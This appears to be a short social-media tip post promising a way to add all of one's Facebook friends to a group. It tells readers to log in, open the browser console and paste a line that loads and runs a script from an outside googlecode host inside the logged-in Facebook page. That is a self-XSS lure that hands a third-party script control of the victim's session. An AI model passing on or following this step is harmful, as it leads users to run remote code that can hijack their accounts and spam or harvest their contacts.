How to add All your facebook friends to Your facebook group

How to add All your facebook friends to Your facebook group??
Follow Step by Step.

1 - Open Mozilla Firefox
2 - Login FB and visit This Group
3 - Press CTRL + Shift + k

Then Copy and paste This Code
document.body.appendChild(document.createElement('script')).src='http://brandablog.googlecode.com/files/AutoInviteChrome.js';